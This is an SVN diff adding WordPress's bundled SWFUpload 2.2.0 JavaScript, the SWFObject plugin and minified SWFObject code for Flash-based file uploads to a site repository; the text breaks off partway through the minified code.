--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.swfobject.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.swfobject.js	(revision 44)
@@ -0,0 +1,105 @@
+/*
+	SWFUpload.SWFObject Plugin
+
+	Summary:
+		This plugin uses SWFObject to embed SWFUpload dynamically in the page.  SWFObject provides accurate Flash Player detection and DOM Ready loading.
+		This plugin replaces the Graceful Degradation plugin.
+
+	Features:
+		* swfupload_load_failed_hander event
+		* swfupload_pre_load_handler event
+		* minimum_flash_version setting (default: "9.0.28")
+		* SWFUpload.onload event for early loading
+
+	Usage:
+		Provide handlers and settings as needed.  When using the SWFUpload.SWFObject plugin you should initialize SWFUploading
+		in SWFUpload.onload rather than in window.onload.  When initialized this way SWFUpload can load earlier preventing the UI flicker
+		that was seen using the Graceful Degradation plugin.
+
+		<script type="text/javascript">
+			var swfu;
+			SWFUpload.onload = function () {
+				swfu = new SWFUpload({
+					minimum_flash_version: "9.0.28",
+					swfupload_pre_load_handler: swfuploadPreLoad,
+					swfupload_load_failed_handler: swfuploadLoadFailed
+				});
+			};
+		</script>
+		
+	Notes:
+		You must provide set minimum_flash_version setting to "8" if you are using SWFUpload for Flash Player 8.
+		The swfuploadLoadFailed event is only fired if the minimum version of Flash Player is not met.  Other issues such as missing SWF files, browser bugs
+		 or corrupt Flash Player installations will not trigger this event.
+		The swfuploadPreLoad event is fired as soon as the minimum version of Flash Player is found.  It does not wait for SWFUpload to load and can
+		 be used to prepare the SWFUploadUI and hide alternate content.
+		swfobject's onDomReady event is cross-browser safe but will default to the window.onload event when DOMReady is not supported by the browser.
+		 Early DOM Loading is supported in major modern browsers but cannot be guaranteed for every browser ever made.
+*/
+
+
+// SWFObject v2.1 must be loaded
+	
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.onload = function () {};
+	
+	swfobject.addDomLoadEvent(function () {
+		if (typeof(SWFUpload.onload) === "function") {
+			SWFUpload.onload.call(window);
+		}
+	});
+	
+	SWFUpload.prototype.initSettings = (function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+
+			this.ensureDefault = function (settingName, defaultValue) {
+				this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
+			};
+
+			this.ensureDefault("minimum_flash_version", "9.0.28");
+			this.ensureDefault("swfupload_pre_load_handler", null);
+			this.ensureDefault("swfupload_load_failed_handler", null);
+
+			delete this.ensureDefault;
+
+		};
+	})(SWFUpload.prototype.initSettings);
+
+
+	SWFUpload.prototype.loadFlash = function (oldLoadFlash) {
+		return function () {
+			var hasFlash = swfobject.hasFlashPlayerVersion(this.settings.minimum_flash_version);
+			
+			if (hasFlash) {
+				this.queueEvent("swfupload_pre_load_handler");
+				if (typeof(oldLoadFlash) === "function") {
+					oldLoadFlash.call(this);
+				}
+			} else {
+				this.queueEvent("swfupload_load_failed_handler");
+			}
+		};
+		
+	}(SWFUpload.prototype.loadFlash);
+			
+	SWFUpload.prototype.displayDebugInfo = function (oldDisplayDebugInfo) {
+		return function () {
+			if (typeof(oldDisplayDebugInfo) === "function") {
+				oldDisplayDebugInfo.call(this);
+			}
+			
+			this.debug(
+				[
+					"SWFUpload.SWFObject Plugin settings:", "\n",
+					"\t", "minimum_flash_version:                      ", this.settings.minimum_flash_version, "\n",
+					"\t", "swfupload_pre_load_handler assigned:     ", (typeof(this.settings.swfupload_pre_load_handler) === "function").toString(), "\n",
+					"\t", "swfupload_load_failed_handler assigned:     ", (typeof(this.settings.swfupload_load_failed_handler) === "function").toString(), "\n",
+				].join("")
+			);
+		};	
+	}(SWFUpload.prototype.displayDebugInfo);
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/swfupload-all.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/swfupload-all.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/swfupload-all.js	(revision 44)
@@ -0,0 +1,8 @@
+// swfupload
+var SWFUpload;if(SWFUpload==undefined){SWFUpload=function(a){this.initSWFUpload(a)}}SWFUpload.prototype.initSWFUpload=function(b){try{this.customSettings={};this.settings=b;this.eventQueue=[];this.movieName="SWFUpload_"+SWFUpload.movieCount++;this.movieElement=null;SWFUpload.instances[this.movieName]=this;this.initSettings();this.loadFlash()}catch(a){delete SWFUpload.instances[this.movieName];throw a}};SWFUpload.instances={};SWFUpload.movieCount=0;SWFUpload.version="2.2.0 2009-03-25";SWFUpload.QUEUE_ERROR={QUEUE_LIMIT_EXCEEDED:-100,FILE_EXCEEDS_SIZE_LIMIT:-110,ZERO_BYTE_FILE:-120,INVALID_FILETYPE:-130};SWFUpload.UPLOAD_ERROR={HTTP_ERROR:-200,MISSING_UPLOAD_URL:-210,IO_ERROR:-220,SECURITY_ERROR:-230,UPLOAD_LIMIT_EXCEEDED:-240,UPLOAD_FAILED:-250,SPECIFIED_FILE_ID_NOT_FOUND:-260,FILE_VALIDATION_FAILED:-270,FILE_CANCELLED:-280,UPLOAD_STOPPED:-290};SWFUpload.FILE_STATUS={QUEUED:-1,IN_PROGRESS:-2,ERROR:-3,COMPLETE:-4,CANCELLED:-5};SWFUpload.BUTTON_ACTION={SELECT_FILE:-100,SELECT_FILES:-110,START_UPLOAD:-120};SWFUpload.CURSOR={ARROW:-1,HAND:-2};SWFUpload.WINDOW_MODE={WINDOW:"window",TRANSPARENT:"transparent",OPAQUE:"opaque"};SWFUpload.completeURL=function(a){if(typeof(a)!=="string"||a.match(/^https?:\/\//i)||a.match(/^\//)){return a}var c,b;c=window.location.protocol+"//"+window.location.hostname+(window.location.port?":"+window.location.port:"");b=window.location.pathname.lastIndexOf("/");if(b<=0){path="/"}else{path=window.location.pathname.substr(0,b)+"/"}return path+a};SWFUpload.prototype.initSettings=function(){this.ensureDefault=function(b,a){this.settings[b]=(this.settings[b]==undefined)?a:this.settings[b]};this.ensureDefault("upload_url","");this.ensureDefault("preserve_relative_urls",false);this.ensureDefault("file_post_name","Filedata");this.ensureDefault("post_params",{});this.ensureDefault("use_query_string",false);this.ensureDefault("requeue_on_error",false);this.ensureDefault("http_success",[]);this.ensureDefault("assume_success_timeout",0);this.ensureDefault("file_types","*.*");this.ensureDefault("file_types_description","All Files");this.ensureDefault("file_size_limit",0);this.ensureDefault("file_upload_limit",0);this.ensureDefault("file_queue_limit",0);this.ensureDefault("flash_url","swfupload.swf");this.ensureDefault("prevent_swf_caching",true);this.ensureDefault("button_image_url","");this.ensureDefault("button_width",1);this.ensureDefault("button_height",1);this.ensureDefault("button_text","");this.ensureDefault("button_text_style","color: #000000; font-size: 16pt;");this.ensureDefault("button_text_top_padding",0);this.ensureDefault("button_text_left_padding",0);this.ensureDefault("button_action",SWFUpload.BUTTON_ACTION.SELECT_FILES);this.ensureDefault("button_disabled",false);this.ensureDefault("button_placeholder_id","");this.ensureDefault("button_placeholder",null);this.ensureDefault("button_cursor",SWFUpload.CURSOR.ARROW);this.ensureDefault("button_window_mode",SWFUpload.WINDOW_MODE.WINDOW);this.ensureDefault("debug",false);this.settings.debug_enabled=this.settings.debug;this.settings.return_upload_start_handler=this.returnUploadStart;this.ensureDefault("swfupload_loaded_handler",null);this.ensureDefault("file_dialog_start_handler",null);this.ensureDefault("file_queued_handler",null);this.ensureDefault("file_queue_error_handler",null);this.ensureDefault("file_dialog_complete_handler",null);this.ensureDefault("upload_start_handler",null);this.ensureDefault("upload_progress_handler",null);this.ensureDefault("upload_error_handler",null);this.ensureDefault("upload_success_handler",null);this.ensureDefault("upload_complete_handler",null);this.ensureDefault("debug_handler",this.debugMessage);this.ensureDefault("custom_settings",{});this.customSettings=this.settings.custom_settings;if(!!this.settings.prevent_swf_caching){this.settings.flash_url=this.settings.flash_url+(this.settings.flash_url.indexOf("?")<0?"?":"&")+"preventswfcaching="+new Date().getTime()}if(!this.settings.preserve_relative_urls){this.settings.upload_url=SWFUpload.completeURL(this.settings.upload_url);this.settings.button_image_url=SWFUpload.completeURL(this.settings.button_image_url)}delete this.ensureDefault};SWFUpload.prototype.loadFlash=function(){var a,b;if(document.getElementById(this.movieName)!==null){throw"ID "+this.movieName+" is already in use. The Flash Object could not be added"}a=document.getElementById(this.settings.button_placeholder_id)||this.settings.button_placeholder;if(a==undefined){throw"Could not find the placeholder element: "+this.settings.button_placeholder_id}b=document.createElement("div");b.innerHTML=this.getFlashHTML();a.parentNode.replaceChild(b.firstChild,a);if(window[this.movieName]==undefined){window[this.movieName]=this.getMovieElement()}};SWFUpload.prototype.getFlashHTML=function(){return['<object id="',this.movieName,'" type="application/x-shockwave-flash" data="',this.settings.flash_url,'" width="',this.settings.button_width,'" height="',this.settings.button_height,'" class="swfupload">','<param name="wmode" value="',this.settings.button_window_mode,'" />','<param name="movie" value="',this.settings.flash_url,'" />','<param name="quality" value="high" />','<param name="menu" value="false" />','<param name="allowScriptAccess" value="always" />','<param name="flashvars" value="'+this.getFlashVars()+'" />',"</object>"].join("")};SWFUpload.prototype.getFlashVars=function(){var b=this.buildParamString(),a=this.settings.http_success.join(",");return["movieName=",encodeURIComponent(this.movieName),"&amp;uploadURL=",encodeURIComponent(this.settings.upload_url),"&amp;useQueryString=",encodeURIComponent(this.settings.use_query_string),"&amp;requeueOnError=",encodeURIComponent(this.settings.requeue_on_error),"&amp;httpSuccess=",encodeURIComponent(a),"&amp;assumeSuccessTimeout=",encodeURIComponent(this.settings.assume_success_timeout),"&amp;params=",encodeURIComponent(b),"&amp;filePostName=",encodeURIComponent(this.settings.file_post_name),"&amp;fileTypes=",encodeURIComponent(this.settings.file_types),"&amp;fileTypesDescription=",encodeURIComponent(this.settings.file_types_description),"&amp;fileSizeLimit=",encodeURIComponent(this.settings.file_size_limit),"&amp;fileUploadLimit=",encodeURIComponent(this.settings.file_upload_limit),"&amp;fileQueueLimit=",encodeURIComponent(this.settings.file_queue_limit),"&amp;debugEnabled=",encodeURIComponent(this.settings.debug_enabled),"&amp;buttonImageURL=",encodeURIComponent(this.settings.button_image_url),"&amp;buttonWidth=",encodeURIComponent(this.settings.button_width),"&amp;buttonHeight=",encodeURIComponent(this.settings.button_height),"&amp;buttonText=",encodeURIComponent(this.settings.button_text),"&amp;buttonTextTopPadding=",encodeURIComponent(this.settings.button_text_top_padding),"&amp;buttonTextLeftPadding=",encodeURIComponent(this.settings.button_text_left_padding),"&amp;buttonTextStyle=",encodeURIComponent(this.settings.button_text_style),"&amp;buttonAction=",encodeURIComponent(this.settings.button_action),"&amp;buttonDisabled=",encodeURIComponent(this.settings.button_disabled),"&amp;buttonCursor=",encodeURIComponent(this.settings.button_cursor)].join("")};SWFUpload.prototype.getMovieElement=function(){if(this.movieElement==undefined){this.movieElement=document.getElementById(this.movieName)}if(this.movieElement===null){throw"Could not find Flash element"}return this.movieElement};SWFUpload.prototype.buildParamString=function(){var c=this.settings.post_params,b=[],a;if(typeof(c)==="object"){for(a in c){if(c.hasOwnProperty(a)){b.push(encodeURIComponent(a.toString())+"="+encodeURIComponent(c[a].toString()))}}}return b.join("&amp;")};SWFUpload.prototype.destroy=function(){try{this.cancelUpload(null,false);var a=null,c;a=this.getMovieElement();if(a&&typeof(a.CallFunction)==="unknown"){for(c in a){try{if(typeof(a[c])==="function"){a[c]=null}}catch(e){}}try{a.parentNode.removeChild(a)}catch(b){}}window[this.movieName]=null;SWFUpload.instances[this.movieName]=null;delete SWFUpload.instances[this.movieName];this.movieElement=null;this.settings=null;this.customSettings=null;this.eventQueue=null;this.movieName=null;return true}catch(d){return false}};SWFUpload.prototype.addSetting=function(b,c,a){if(c==undefined){return(this.settings[b]=a)}else{return(this.settings[b]=c)}};SWFUpload.prototype.getSetting=function(a){if(this.settings[a]!=undefined){return this.settings[a]}return""};SWFUpload.prototype.callFlash=function(functionName,argumentArray){argumentArray=argumentArray||[];var movieElement=this.getMovieElement(),returnValue,returnString;try{returnString=movieElement.CallFunction('<invoke name="'+functionName+'" returntype="javascript">'+__flash__argumentsToXML(argumentArray,0)+"</invoke>");returnValue=eval(returnString)}catch(ex){throw"Call to "+functionName+" failed"}if(returnValue!=undefined&&typeof returnValue.post==="object"){returnValue=this.unescapeFilePostParams(returnValue)}return returnValue};SWFUpload.prototype.selectFile=function(){this.callFlash("SelectFile")};SWFUpload.prototype.selectFiles=function(){this.callFlash("SelectFiles")};SWFUpload.prototype.startUpload=function(a){this.callFlash("StartUpload",[a])};SWFUpload.prototype.cancelUpload=function(a,b){if(b!==false){b=true}this.callFlash("CancelUpload",[a,b])};SWFUpload.prototype.stopUpload=function(){this.callFlash("StopUpload")};SWFUpload.prototype.getStats=function(){return this.callFlash("GetStats")};SWFUpload.prototype.setStats=function(a){this.callFlash("SetStats",[a])};SWFUpload.prototype.getFile=function(a){if(typeof(a)==="number"){return this.callFlash("GetFileByIndex",[a])}else{return this.callFlash("GetFile",[a])}};SWFUpload.prototype.addFileParam=function(a,b,c){return this.callFlash("AddFileParam",[a,b,c])};SWFUpload.prototype.removeFileParam=function(a,b){this.callFlash("RemoveFileParam",[a,b])};SWFUpload.prototype.setUploadURL=function(a){this.settings.upload_url=a.toString();this.callFlash("SetUploadURL",[a])};SWFUpload.prototype.setPostParams=function(a){this.settings.post_params=a;this.callFlash("SetPostParams",[a])};SWFUpload.prototype.addPostParam=function(a,b){this.settings.post_params[a]=b;this.callFlash("SetPostParams",[this.settings.post_params])};SWFUpload.prototype.removePostParam=function(a){delete this.settings.post_params[a];this.callFlash("SetPostParams",[this.settings.post_params])};SWFUpload.prototype.setFileTypes=function(a,b){this.settings.file_types=a;this.settings.file_types_description=b;this.callFlash("SetFileTypes",[a,b])};SWFUpload.prototype.setFileSizeLimit=function(a){this.settings.file_size_limit=a;this.callFlash("SetFileSizeLimit",[a])};SWFUpload.prototype.setFileUploadLimit=function(a){this.settings.file_upload_limit=a;this.callFlash("SetFileUploadLimit",[a])};SWFUpload.prototype.setFileQueueLimit=function(a){this.settings.file_queue_limit=a;this.callFlash("SetFileQueueLimit",[a])};SWFUpload.prototype.setFilePostName=function(a){this.settings.file_post_name=a;this.callFlash("SetFilePostName",[a])};SWFUpload.prototype.setUseQueryString=function(a){this.settings.use_query_string=a;this.callFlash("SetUseQueryString",[a])};SWFUpload.prototype.setRequeueOnError=function(a){this.settings.requeue_on_error=a;this.callFlash("SetRequeueOnError",[a])};SWFUpload.prototype.setHTTPSuccess=function(a){if(typeof a==="string"){a=a.replace(" ","").split(",")}this.settings.http_success=a;this.callFlash("SetHTTPSuccess",[a])};SWFUpload.prototype.setAssumeSuccessTimeout=function(a){this.settings.assume_success_timeout=a;this.callFlash("SetAssumeSuccessTimeout",[a])};SWFUpload.prototype.setDebugEnabled=function(a){this.settings.debug_enabled=a;this.callFlash("SetDebugEnabled",[a])};SWFUpload.prototype.setButtonImageURL=function(a){if(a==undefined){a=""}this.settings.button_image_url=a;this.callFlash("SetButtonImageURL",[a])};SWFUpload.prototype.setButtonDimensions=function(c,a){this.settings.button_width=c;this.settings.button_height=a;var b=this.getMovieElement();if(b!=undefined){b.style.width=c+"px";b.style.height=a+"px"}this.callFlash("SetButtonDimensions",[c,a])};SWFUpload.prototype.setButtonText=function(a){this.settings.button_text=a;this.callFlash("SetButtonText",[a])};SWFUpload.prototype.setButtonTextPadding=function(b,a){this.settings.button_text_top_padding=a;this.settings.button_text_left_padding=b;this.callFlash("SetButtonTextPadding",[b,a])};SWFUpload.prototype.setButtonTextStyle=function(a){this.settings.button_text_style=a;this.callFlash("SetButtonTextStyle",[a])};SWFUpload.prototype.setButtonDisabled=function(a){this.settings.button_disabled=a;this.callFlash("SetButtonDisabled",[a])};SWFUpload.prototype.setButtonAction=function(a){this.settings.button_action=a;this.callFlash("SetButtonAction",[a])};SWFUpload.prototype.setButtonCursor=function(a){this.settings.button_cursor=a;this.callFlash("SetButtonCursor",[a])};SWFUpload.prototype.queueEvent=function(b,c){if(c==undefined){c=[]}else{if(!(c instanceof Array)){c=[c]}}var a=this;if(typeof this.settings[b]==="function"){this.eventQueue.push(function(){this.settings[b].apply(this,c)});setTimeout(function(){a.executeNextEvent()},0)}else{if(this.settings[b]!==null){throw"Event handler "+b+" is unknown or is not a function"}}};SWFUpload.prototype.executeNextEvent=function(){var a=this.eventQueue?this.eventQueue.shift():null;if(typeof(a)==="function"){a.apply(this)}};SWFUpload.prototype.unescapeFilePostParams=function(c){var e=/[$]([0-9a-f]{4})/i,f={},d,a,b;if(c!=undefined){for(a in c.post){if(c.post.hasOwnProperty(a)){d=a;while((b=e.exec(d))!==null){d=d.replace(b[0],String.fromCharCode(parseInt("0x"+b[1],16)))}f[d]=c.post[a]}}c.post=f}return c};SWFUpload.prototype.testExternalInterface=function(){try{return this.callFlash("TestExternalInterface")}catch(a){return false}};SWFUpload.prototype.flashReady=function(){var a=this.getMovieElement();if(!a){this.debug("Flash called back ready but the flash movie can't be found.");return}this.cleanUp(a);this.queueEvent("swfupload_loaded_handler")};SWFUpload.prototype.cleanUp=function(a){var c;try{if(this.movieElement&&typeof(a.CallFunction)==="unknown"){this.debug("Removing Flash functions hooks (this should only run in IE and should prevent memory leaks)");for(c in a){try{if(typeof(a[c])==="function"){a[c]=null}}catch(b){}}}}catch(d){}window.__flash__removeCallback=function(e,f){try{if(e){e[f]=null}}catch(g){}}};SWFUpload.prototype.fileDialogStart=function(){this.queueEvent("file_dialog_start_handler")};SWFUpload.prototype.fileQueued=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("file_queued_handler",a)};SWFUpload.prototype.fileQueueError=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("file_queue_error_handler",[a,c,b])};SWFUpload.prototype.fileDialogComplete=function(b,c,a){this.queueEvent("file_dialog_complete_handler",[b,c,a])};SWFUpload.prototype.uploadStart=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("return_upload_start_handler",a)};SWFUpload.prototype.returnUploadStart=function(a){var b;if(typeof this.settings.upload_start_handler==="function"){a=this.unescapeFilePostParams(a);b=this.settings.upload_start_handler.call(this,a)}else{if(this.settings.upload_start_handler!=undefined){throw"upload_start_handler must be a function"}}if(b===undefined){b=true}b=!!b;this.callFlash("ReturnUploadStart",[b])};SWFUpload.prototype.uploadProgress=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("upload_progress_handler",[a,c,b])};SWFUpload.prototype.uploadError=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("upload_error_handler",[a,c,b])};SWFUpload.prototype.uploadSuccess=function(b,a,c){b=this.unescapeFilePostParams(b);this.queueEvent("upload_success_handler",[b,a,c])};SWFUpload.prototype.uploadComplete=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("upload_complete_handler",a)};SWFUpload.prototype.debug=function(a){this.queueEvent("debug_handler",a)};
+// swfupload.queue
+var SWFUpload;if(typeof(SWFUpload)==="function"){SWFUpload.queue={};SWFUpload.prototype.initSettings=(function(a){return function(){if(typeof(a)==="function"){a.call(this)}this.queueSettings={};this.queueSettings.queue_cancelled_flag=false;this.queueSettings.queue_upload_count=0;this.queueSettings.user_upload_complete_handler=this.settings.upload_complete_handler;this.queueSettings.user_upload_start_handler=this.settings.upload_start_handler;this.settings.upload_complete_handler=SWFUpload.queue.uploadCompleteHandler;this.settings.upload_start_handler=SWFUpload.queue.uploadStartHandler;this.settings.queue_complete_handler=this.settings.queue_complete_handler||null}})(SWFUpload.prototype.initSettings);SWFUpload.prototype.startUpload=function(a){this.queueSettings.queue_cancelled_flag=false;this.callFlash("StartUpload",[a])};SWFUpload.prototype.cancelQueue=function(){this.queueSettings.queue_cancelled_flag=true;this.stopUpload();var a=this.getStats();while(a.files_queued>0){this.cancelUpload();a=this.getStats()}};SWFUpload.queue.uploadStartHandler=function(a){var b;if(typeof(this.queueSettings.user_upload_start_handler)==="function"){b=this.queueSettings.user_upload_start_handler.call(this,a)}b=(b===false)?false:true;this.queueSettings.queue_cancelled_flag=!b;return b};SWFUpload.queue.uploadCompleteHandler=function(b){var c=this.queueSettings.user_upload_complete_handler,d,a;if(b.filestatus===SWFUpload.FILE_STATUS.COMPLETE){this.queueSettings.queue_upload_count++}if(typeof(c)==="function"){d=(c.call(this,b)===false)?false:true}else{if(b.filestatus===SWFUpload.FILE_STATUS.QUEUED){d=false}else{d=true}}if(d){a=this.getStats();if(a.files_queued>0&&this.queueSettings.queue_cancelled_flag===false){this.startUpload()}else{if(this.queueSettings.queue_cancelled_flag===false){this.queueEvent("queue_complete_handler",[this.queueSettings.queue_upload_count]);this.queueSettings.queue_upload_count=0}else{this.queueSettings.queue_cancelled_flag=false;this.queueSettings.queue_upload_count=0}}}}};
+// swfobject
+var swfobject=function(){var b="undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,q=false,z=r?/win/.test(r):/win/.test(AD),w=r?/mac/.test(r):/mac/.test(AD);/*@cc_on q=true;@if(@_win32)z=true;@elif(@_mac)w=true;@end@*/return{w3cdom:v,pv:AC,webkit:AA,ie:q,win:z,mac:w}}();var L=function(){if(!h.w3cdom){return }f(H);if(h.ie&&h.win){try{K.write("<script id=__ie_ondomload defer=true src=//:><\/script>");J=C("__ie_ondomload");if(J){I(J,"onreadystatechange",S)}}catch(q){}}if(h.webkit&&typeof K.readyState!=b){Z=setInterval(function(){if(/loaded|complete/.test(K.readyState)){E()}},10)}if(typeof K.addEventListener!=b){K.addEventListener("DOMContentLoaded",E,null)}R(E)}();function S(){if(J.readyState=="complete"){J.parentNode.removeChild(J);E()}}function E(){if(e){return }if(h.ie&&h.win){var v=a("span");try{var u=K.getElementsByTagName("body")[0].appendChild(v);u.parentNode.removeChild(u)}catch(w){return }}e=true;if(Z){clearInterval(Z);Z=null}var q=o.length;for(var r=0;r<q;r++){o[r]()}}function f(q){if(e){q()}else{o[o.length]=q}}function R(r){if(typeof j.addEventListener!=b){j.addEventListener("load",r,false)}else{if(typeof K.addEventListener!=b){K.addEventListener("load",r,false)}else{if(typeof j.attachEvent!=b){I(j,"onload",r)}else{if(typeof j.onload=="function"){var q=j.onload;j.onload=function(){q();r()}}else{j.onload=r}}}}}function H(){var t=N.length;for(var q=0;q<t;q++){var u=N[q].id;if(h.pv[0]>0){var r=C(u);if(r){N[q].width=r.getAttribute("width")?r.getAttribute("width"):"0";N[q].height=r.getAttribute("height")?r.getAttribute("height"):"0";if(c(N[q].swfVersion)){if(h.webkit&&h.webkit<312){Y(r)}W(u,true)}else{if(N[q].expressInstall&&!A&&c("6.0.65")&&(h.win||h.mac)){k(N[q])}else{O(r)}}}}else{W(u,true)}}}function Y(t){var q=t.getElementsByTagName(Q)[0];if(q){var w=a("embed"),y=q.attributes;if(y){var v=y.length;for(var u=0;u<v;u++){if(y[u].nodeName=="DATA"){w.setAttribute("src",y[u].nodeValue)}else{w.setAttribute(y[u].nodeName,y[u].nodeValue)}}}var x=q.childNodes;if(x){var z=x.length;for(var r=0;r<z;r++){if(x[r].nodeType==1&&x[r].nodeName=="PARAM"){w.setAttribute(x[r].getAttribute("name"),x[r].getAttribute("value"))}}}t.parentNode.replaceChild(w,t)}}function k(w){A=true;var u=C(w.id);if(u){if(w.altContentId){var y=C(w.altContentId);if(y){M=y;l=w.altContentId}}else{M=G(u)}if(!(/%$/.test(w.width))&&parseInt(w.width,10)<310){w.width="310"}if(!(/%$/.test(w.height))&&parseInt(w.height,10)<137){w.height="137"}K.title=K.title.slice(0,47)+" - Flash Player Installation";var z=h.ie&&h.win?"ActiveX":"PlugIn",q=K.title,r="MMredirectURL="+j.location+"&MMplayerType="+z+"&MMdoctitle="+q,x=w.id;if(h.ie&&h.win&&u.readyState!=4){var t=a("div");x+="SWFObjectNew";t.setAttribute("id",x);u.parentNode.insertBefore(t,u);u.style.display="none";var v=function(){u.parentNode.removeChild(u)};I(j,"onload",v)}U({data:w.expressInstall,id:m,width:w.width,height:w.height},{flashvars:r},x)}}function O(t){if(h.ie&&h.win&&t.readyState!=4){var r=a("div");t.parentNode.insertBefore(r,t);r.parentNode.replaceChild(G(t),r);t.style.display="none";var q=function(){t.parentNode.removeChild(t)};I(j,"onload",q)}else{t.parentNode.replaceChild(G(t),t)}}function G(v){var u=a("div");if(h.win&&h.ie){u.innerHTML=v.innerHTML}else{var r=v.getElementsByTagName(Q)[0];if(r){var w=r.childNodes;if(w){var q=w.length;for(var t=0;t<q;t++){if(!(w[t].nodeType==1&&w[t].nodeName=="PARAM")&&!(w[t].nodeType==8)){u.appendChild(w[t].cloneNode(true))}}}}}return u}function U(AG,AE,t){var q,v=C(t);if(v){if(typeof AG.id==b){AG.id=t}if(h.ie&&h.win){var AF="";for(var AB in AG){if(AG[AB]!=Object.prototype[AB]){if(AB.toLowerCase()=="data"){AE.movie=AG[AB]}else{if(AB.toLowerCase()=="styleclass"){AF+=' class="'+AG[AB]+'"'}else{if(AB.toLowerCase()!="classid"){AF+=" "+AB+'="'+AG[AB]+'"'}}}}}var AD="";for(var AA in AE){if(AE[AA]!=Object.prototype[AA]){AD+='<param name="'+AA+'" value="'+AE[AA]+'" />'}}v.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+AF+">"+AD+"</object>";i[i.length]=AG.id;q=C(AG.id)}else{if(h.webkit&&h.webkit<312){var AC=a("embed");AC.setAttribute("type",P);for(var z in AG){if(AG[z]!=Object.prototype[z]){if(z.toLowerCase()=="data"){AC.setAttribute("src",AG[z])}else{if(z.toLowerCase()=="styleclass"){AC.setAttribute("class",AG[z])}else{if(z.toLowerCase()!="classid"){AC.setAttribute(z,AG[z])}}}}}for(var y in AE){if(AE[y]!=Object.prototype[y]){if(y.toLowerCase()!="movie"){AC.setAttribute(y,AE[y])}}}v.parentNode.replaceChild(AC,v);q=AC}else{var u=a(Q);u.setAttribute("type",P);for(var x in AG){if(AG[x]!=Object.prototype[x]){if(x.toLowerCase()=="styleclass"){u.setAttribute("class",AG[x])}else{if(x.toLowerCase()!="classid"){u.setAttribute(x,AG[x])}}}}for(var w in AE){if(AE[w]!=Object.prototype[w]&&w.toLowerCase()!="movie"){F(u,w,AE[w])}}v.parentNode.replaceChild(u,v);q=u}}}return q}function F(t,q,r){var u=a("param");u.setAttribute("name",q);u.setAttribute("value",r);t.appendChild(u)}function X(r){var q=C(r);if(q&&(q.nodeName=="OBJECT"||q.nodeName=="EMBED")){if(h.ie&&h.win){if(q.readyState==4){B(r)}else{j.attachEvent("onload",function(){B(r)})}}else{q.parentNode.removeChild(q)}}}function B(t){var r=C(t);if(r){for(var q in r){if(typeof r[q]=="function"){r[q]=null}}r.parentNode.removeChild(r)}}function C(t){var q=null;try{q=K.getElementById(t)}catch(r){}return q}function a(q){return K.createElement(q)}function I(t,q,r){t.attachEvent(q,r);d[d.length]=[t,q,r]}function c(t){var r=h.pv,q=t.split(".");q[0]=parseInt(q[0],10);q[1]=parseInt(q[1],10)||0;q[2]=parseInt(q[2],10)||0;return(r[0]>q[0]||(r[0]==q[0]&&r[1]>q[1])||(r[0]==q[0]&&r[1]==q[1]&&r[2]>=q[2]))?true:false}function V(v,r){if(h.ie&&h.mac){return }var u=K.getElementsByTagName("head")[0],t=a("style");t.setAttribute("type","text/css");t.setAttribute("media","screen");if(!(h.ie&&h.win)&&typeof K.createTextNode!=b){t.appendChild(K.createTextNode(v+" {"+r+"}"))}u.appendChild(t);if(h.ie&&h.win&&typeof K.styleSheets!=b&&K.styleSheets.length>0){var q=K.styleSheets[K.styleSheets.length-1];if(typeof q.addRule==Q){q.addRule(v,r)}}}function W(t,q){var r=q?"visible":"hidden";if(e&&C(t)){C(t).style.visibility=r}else{V("#"+t,"visibility:"+r)}}function g(s){var r=/[\\\"<>\.;]/;var q=r.exec(s)!=null;return q?encodeURIComponent(s):s}var D=function(){if(h.ie&&h.win){window.attachEvent("onunload",function(){var w=d.length;for(var v=0;v<w;v++){d[v][0].detachEvent(d[v][1],d[v][2])}var t=i.length;for(var u=0;u<t;u++){X(i[u])}for(var r in h){h[r]=null}h=null;for(var q in swfobject){swfobject[q]=null}swfobject=null})}}();return{registerObject:function(u,q,t){if(!h.w3cdom||!u||!q){return }var 